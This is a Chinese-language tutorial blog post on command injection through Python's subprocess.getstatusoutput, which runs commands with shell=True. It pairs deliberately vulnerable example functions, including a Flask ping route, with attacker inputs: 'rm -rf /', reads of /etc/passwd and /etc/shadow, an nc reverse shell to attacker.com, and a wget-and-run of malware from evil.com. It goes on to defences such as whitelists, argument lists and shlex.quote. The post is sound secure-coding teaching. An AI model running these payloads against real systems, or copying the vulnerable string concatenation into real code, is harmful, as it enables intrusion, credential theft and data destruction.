Python 中subprocess.getstatusoutput(cmd) 函数注入命令风险分析

风险根本原因

subprocess.getstatusoutput() 函数内部实现使用了 shell=True,这意味着命令在 shell 中执行:

python 复制代码
# 查看源码(Python 3.10+)
def getstatusoutput(cmd):
    """Return (status, output) of executing cmd in a shell."""
    with Popen(cmd, shell=True, stdout=PIPE, stderr=STDOUT) as p:
        data, _ = p.communicate()
        # 注意:这里 decode 可能使用默认编码
        data = data.decode() if data else ''
        return p.returncode, data

高风险场景演示

场景 1:简单文件名拼接

python 复制代码
import subprocess

# 用户控制输入
user_input = "test.txt; rm -rf /"  # 恶意输入

# ❌ 危险:直接拼接
status, output = subprocess.getstatusoutput(f"cat {user_input}")
# 实际执行: cat test.txt; rm -rf /
# 注:rm -rf / 在现代系统需要 --no-preserve-root 或特殊权限

场景 2:更隐蔽的注入

python 复制代码
import subprocess

# 用户输入看起来无害
user_input = "$(echo '恶意代码' > /tmp/hacked)"

# 执行看似安全的命令
status, output = subprocess.getstatusoutput(f"ls {user_input}")
# 实际执行: ls $(echo '恶意代码' > /tmp/hacked)
# 先执行 echo 命令,再执行 ls 命令

场景 3:使用反引号或 $()

python 复制代码
import subprocess

# 使用命令替换
user_input = "`id`"  # 或 "$(id)"

status, output = subprocess.getstatusoutput(f"echo {user_input}")
# 实际执行: echo `id`
# 输出: uid=1000(user) gid=1000(user) groups=1000(user)

真实攻击案例

案例 1:Web 应用中的漏洞

python 复制代码
# 假设这是一个 Flask/Django 视图函数
@app.route('/check_status')
def check_status():
    host = request.args.get('host', 'localhost')
    
    # ❌ 危险:直接使用用户输入
    cmd = f"ping -c 1 {host}"
    status, output = subprocess.getstatusoutput(cmd)
    
    return f"状态: {status}<br>输出: {output}"

# 攻击者可以传入:
# host = "8.8.8.8; cat /etc/passwd"
# 或 host = "8.8.8.8 && nc -e /bin/bash attacker.com 4444"

案例 2:配置检查工具

python 复制代码
def check_service_config(service_name, config_file="/etc/default/"):
    """检查服务配置"""
    # ❌ 危险:用户输入直接拼接到命令中
    cmd = f"grep -r 'ENABLE' {config_file}{service_name}.conf 2>/dev/null"
    status, output = subprocess.getstatusoutput(cmd)
    
    if status == 0:
        return output
    return "未找到配置"

# 攻击:
# service_name = "apache2; cat /etc/shadow; echo 'hacked'"
# 实际执行: grep -r 'ENABLE' /etc/default/apache2; cat /etc/shadow; echo 'hacked'.conf

案例 3:日志分析工具

python 复制代码
def analyze_logs(pattern, log_file="/var/log/app.log"):
    """分析日志文件"""
    # ❌ 危险:用户提供的正则模式可能包含命令
    cmd = f"grep '{pattern}' {log_file} | head -20"
    status, output = subprocess.getstatusoutput(cmd)
    
    return output.split('\n')

# 攻击:
# pattern = "error'; wget http://evil.com/malware.sh -O /tmp/malware.sh; sh /tmp/malware.sh; #"
# 实际执行: grep 'error'; wget ... ; sh ...; #' /var/log/app.log | head -20

安全风险等级评估

风险类型 严重程度 说明
任意命令执行 ⭐⭐⭐⭐⭐ 攻击者可执行任意系统命令
数据泄露 ⭐⭐⭐⭐ 可读取敏感文件(/etc/passwd, /etc/shadow 等)
权限提升 ⭐⭐⭐⭐ 结合其他漏洞实现权限提升
系统破坏 ⭐⭐⭐⭐ 可删除文件、停止服务等
后门植入 ⭐⭐⭐⭐ 可下载并执行恶意代码

安全使用指南

1. 绝对不要直接拼接用户输入

python 复制代码
# ❌ 永远不要这样做
user_input = request.form['input']
cmd = f"echo {user_input}"
status, output = subprocess.getstatusoutput(cmd)

# ❌ 甚至这样也不安全(可能被绕过)
user_input = request.form['input'].replace(';', '')
cmd = f"echo {user_input}"

2. 使用白名单验证

python 复制代码
import re
import subprocess

def safe_getstatusoutput(cmd_template, *args, allowed_chars=None):
    """
    安全的命令执行
    
    Args:
        cmd_template: 命令模板,使用 {} 占位符
        *args: 参数,会进行白名单验证
        allowed_chars: 允许的字符正则表达式
    """
    if allowed_chars is None:
        allowed_chars = r'^[a-zA-Z0-9_\-\.]+$'
    
    safe_args = []
    for arg in args:
        if not re.match(allowed_chars, str(arg)):
            raise ValueError(f"Invalid characters in argument: {arg}")
        safe_args.append(str(arg))
    
    cmd = cmd_template.format(*safe_args)
    return subprocess.getstatusoutput(cmd)

# 使用示例(只允许字母、数字、下划线、连字符、点)
try:
    status, output = safe_getstatusoutput(
        "ls -la {}", 
        "normal_directory",
        allowed_chars=r'^[a-zA-Z0-9_\-\./]+$'
    )
except ValueError as e:
    print(f"安全验证失败: {e}")

3. 使用参数化的替代方案

python 复制代码
import subprocess

def safe_command_execution(base_cmd, *args, timeout=None):
    """
    安全执行命令(使用参数列表,避免shell)
    
    Args:
        base_cmd: 基础命令列表,如 ["grep", "-r"]
        *args: 额外参数
        timeout: 超时时间
    """
    # 构建命令列表
    cmd_list = list(base_cmd) + list(args)
    
    # 执行命令(不使用shell)
    try:
        result = subprocess.run(
            cmd_list,
            capture_output=True,
            text=True,
            timeout=timeout
        )
        
        # 模拟 getstatusoutput 的行为(合并 stdout 和 stderr)
        output = result.stdout
        if result.stderr:
            output += "\n" + result.stderr if output else result.stderr
        
        return result.returncode, output.strip()
    except subprocess.TimeoutExpired:
        return -1, f"Command timed out after {timeout} seconds"

# 使用示例
status, output = safe_command_execution(
    ["grep", "-r", "ERROR"],
    "/var/log/app.log"
)

4. 如果必须使用 shell,严格转义

python 复制代码
import subprocess
import shlex

def safe_shell_command(cmd_template, *args):
    """
    安全执行shell命令(使用shlex.quote转义)
    
    Args:
        cmd_template: 命令模板,使用 {} 占位符
        *args: 需要转义的参数
    """
    # 转义所有参数
    quoted_args = [shlex.quote(str(arg)) for arg in args]
    
    # 格式化命令
    cmd = cmd_template.format(*quoted_args)
    
    # 执行命令
    return subprocess.getstatusoutput(cmd)

# 使用示例
user_input = "test; rm -rf /"
status, output = safe_shell_command("cat {}", user_input)
# 实际执行: cat 'test; rm -rf /'
# 只会尝试打开名为 'test; rm -rf /' 的文件

安全审计清单

在代码审计时,检查以下使用模式:

高风险模式(立即修复)

python 复制代码
# 1. 直接拼接用户输入
cmd = f"ping {user_input}"
subprocess.getstatusoutput(cmd)

# 2. 使用 os.system(同样危险)
import os
os.system(f"echo {user_input}")

# 3. 使用 eval 或 exec 执行用户输入
eval(user_input)

中等风险模式(需要审查)

python 复制代码
# 1. 部分过滤(可能被绕过)
user_input = user_input.replace(';', '').replace('&', '')
subprocess.getstatusoutput(f"ls {user_input}")

# 2. 使用环境变量
os.environ['USER_INPUT'] = user_input
subprocess.getstatusoutput("echo $USER_INPUT")

安全模式(推荐)

python 复制代码
# 1. 使用参数列表
subprocess.run(["echo", user_input], capture_output=True)

# 2. 使用严格转义
import shlex
safe_cmd = f"echo {shlex.quote(user_input)}"
subprocess.getstatusoutput(safe_cmd)

# 3. 使用白名单
if re.match(r'^[a-z0-9]+$', user_input):
    subprocess.getstatusoutput(f"echo {user_input}")

实际安全重构示例

重构前(危险)

python 复制代码
# 原始危险代码
def check_disk_usage(partition):
    """检查磁盘使用率"""
    cmd = f"df -h {partition}"
    status, output = subprocess.getstatusoutput(cmd)
    return output

# 可被攻击:partition = "/; echo 'hacked'"

重构后(安全)

python 复制代码
# 安全重构版本
import subprocess
import re

def safe_check_disk_usage(partition):
    """
    安全检查磁盘使用率
    
    Args:
        partition: 分区路径,如 "/home" 或 "/"
    """
    # 验证输入格式
    if not re.match(r'^/[a-zA-Z0-9_\-/]*$', partition):
        raise ValueError(f"无效的分区路径: {partition}")
    
    # 方法1:使用参数列表(最安全)
    result = subprocess.run(
        ["df", "-h", partition],
        capture_output=True,
        text=True
    )
    
    output = result.stdout
    if result.stderr:
        output += "\n" + result.stderr
    
    return output

# 或者方法2:使用转义
def safe_check_disk_usage_v2(partition):
    """使用转义的安全版本"""
    import shlex
    
    # 仍然建议验证输入
    if not re.match(r'^/[a-zA-Z0-9_\-/]*$', partition):
        raise ValueError(f"无效的分区路径: {partition}")
    
    safe_partition = shlex.quote(partition)
    cmd = f"df -h {safe_partition}"
    
    status, output = subprocess.getstatusoutput(cmd)
    return output

总结

关键结论:

  1. subprocess.getstatusoutput() 本身存在注入风险 ,因为它使用 shell=True

  2. 任何将用户输入拼接到命令中的行为都是危险的

  3. 使用 shlex.quote() 可以缓解风险,但不是万能的

  4. 最佳实践是使用参数列表subprocess.run()subprocess.Popen() 的列表形式)

永远记住:

  • 不要信任任何用户输入

  • 避免使用 shell=True

  • 使用参数列表而不是字符串拼接

  • 对必须使用 shell 的场景,进行严格的输入验证和转义

在安全要求高的场景下,应该完全避免使用 subprocess.getstatusoutput(),转而使用更安全的 subprocess.run()subprocess.Popen() 的列表形式。

相关推荐
深蓝电商API2 小时前
Scrapy 自定义命令与扩展:打造专属爬虫工具
爬虫·python·scrapy
郝学胜-神的一滴2 小时前
机器学习数据预处理:深入理解标准化与sklearn的StandardScaler
开发语言·人工智能·python·程序人生·机器学习·sklearn
@fai2 小时前
[特殊字符] 在 PyQt6 中实现 Photoshop 风格的“橡皮擦”光标:高性能、不随缩放变形、精准跟随鼠标
图像处理·python·pyqt·photoshop
山风wind2 小时前
设计模式-访问者模式详解
python·设计模式·访问者模式
weixin_462446232 小时前
使用 pip3 一键卸载当前环境中所有已安装的 Python 包(Linux / macOS / Windows)
linux·python·macos
2501_944526422 小时前
Flutter for OpenHarmony 万能游戏库App实战 - 收藏功能实现
android·java·开发语言·javascript·python·flutter·游戏
C++实习生2 小时前
Visual Studio 2017 Enterprise 组件目录
后端·python·flask
2501_944526422 小时前
Flutter for OpenHarmony 万能游戏库App实战 - 个人中心实现
android·java·javascript·python·flutter·游戏
摘星编程2 小时前
OpenHarmony + RN:decay滚动惯性动画实现
python